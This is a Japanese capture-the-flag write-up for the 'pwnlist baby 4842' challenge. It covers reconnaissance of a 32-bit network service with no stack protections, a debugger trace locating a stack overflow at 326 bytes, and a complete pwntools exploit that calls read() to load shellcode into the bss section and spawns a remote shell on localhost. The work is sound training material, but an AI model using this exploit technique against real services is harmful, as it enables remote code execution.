pwnlist baby 4842
下調べ
mattun-mart@4ctf:~/pwn/baby/4842$ file 4842 | sed -e "s/,/\n/g" 4842: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked (uses shared libs) for GNU/Linux 2.6.24 BuildID[sha1]=0112d6a8144d6184e2c9ff7d4882c4099f5b8011 stripped
mattun-mart@4ctf:~/pwn/baby/4842$ checksec.sh --file 4842 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH 4842
ubuntu14.04 64bitで動かしてます.
NXやSSPが無効.
解析
実行ファイルを動かしてみると,4842ポートで待ち受けていることがわかる.
接続すると中国語のエラーメッセージを吐いて終了する.
解析してみると,どうやらliaotianというユーザが存在しないため終了しているらしい.(pwnlist baby funnybusinessと同じ)
liaotianというユーザを作って再度プログラムを起動,接続すると以下のような文字列が出力され,入力待ちになる.
这部分并不难,但我希望你有乐趣。如果你给我大量的数据,它可能是一件坏事会发生.
中国語を翻訳すると「大量の文字を送ると悪いことが起こる」的なことが書いてあるので大量に文字を送りつけてみるとプログラムが落ちる.
mattun-mart@4ctf:~/pwn/baby/4842$ nc localhost 4842 这部分并不难,但我希望你有乐趣。如果你给我大量的数据,它可能是一件坏事会发生. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA mattun-mart@4ctf:~/pwn/baby/4842$
どうやらユーザから受け取った入力でスタックのリターンアドレスを書き換えてしまったらしい.
下記からわかるように,入力文字列を保存する領域の0x146下にリターンアドレスが格納されているため,0x146文字以上の文字列を入力するとリターンアドレスを書き換えてしまう.
[----------------------------------registers-----------------------------------] EAX: 0x4 EBX: 0x7ec6 ECX: 0xf7fd8000 --> 0xe5a1bfe4 EDX: 0xffffc786 --> 0x0 ESI: 0x0 EDI: 0xf7fc3000 --> 0x1acda8 EBP: 0xffffd738 --> 0x0 ESP: 0xffffc770 --> 0x4 EIP: 0x804888c (call 0x8048600 <read@plt>) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048881: lea edx,[esp+0x16] # 入力文字列を保存するスタックアドレス 0xffffc786 0x8048885: mov DWORD PTR [esp+0x4],edx 0x8048889: mov DWORD PTR [esp],eax => 0x804888c: call 0x8048600 <read@plt> # ユーザからの入力を最大0x800受け取る 0x8048891: add esp,0x15c # ret命令を実行するためにESPの位置を操作.0xffffc8ccを指す 0x8048897: ret # 0xffffc8ccの指すアドレスにリターン 0x8048898: sub esp,0x1c 0x804889b: mov DWORD PTR [esp],0x8048dc3 Guessed arguments: arg[0]: 0x4 arg[1]: 0xffffc786 --> 0x0 arg[2]: 0x800 [------------------------------------stack-------------------------------------] 0000| 0xffffc770 --> 0x4 0004| 0xffffc774 --> 0xffffc786 --> 0x0 0008| 0xffffc778 --> 0x800 0012| 0xffffc77c --> 0x0 0016| 0xffffc780 --> 0x0 0020| 0xffffc784 --> 0x0 0024| 0xffffc788 --> 0x0 0028| 0xffffc78c --> 0xf7ffd000 --> 0x20f30 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0804888c in ?? () gdb-peda$ n
EIPを自由に書き換えられるようになったので,あとはExploitを組むだけ.
Exploit
NXが無効なので,bss領域にシェルコードを積んで実行する.
bss領域への書き込みはread関数を利用する
以下,Exploitコード.
#!/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct host = 'localhost' port = 4842 conn = remote(host, port) bss_addr = 0x804b06c elf = ELF('./4842') read_addr= elf.plt['read'] shellcode = asm(shellcraft.dupsh(4)) shellcode += asm(shellcraft.sh()) payload = "A" * 326 payload += p32(read_addr) payload += p32(bss_addr) payload += p32(4) payload += p32(bss_addr) payload += p32(len(shellcode)) conn.recv() conn.send(payload) conn.send(shellcode) conn.interactive()
結果
mattun-mart@4ctf:~/pwn/baby/4842$ python exploit.py [+] Opening connection to localhost on port 4842: Done [*] '/home/mattun-mart/pwn/baby/4842/4842' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [*] Switching to interactive mode $ ls -al total 20 drwxr-xr-x 2 liaotian liaotian 4096 Oct 7 23:01 . drwxr-xr-x 5 root root 4096 Oct 7 23:01 .. -rw-r--r-- 1 liaotian liaotian 220 Oct 7 23:01 .bash_logout -rw-r--r-- 1 liaotian liaotian 3637 Oct 7 23:01 .bashrc -rw-r--r-- 1 liaotian liaotian 675 Oct 7 23:01 .profile
かなり簡単.一瞬で終わる.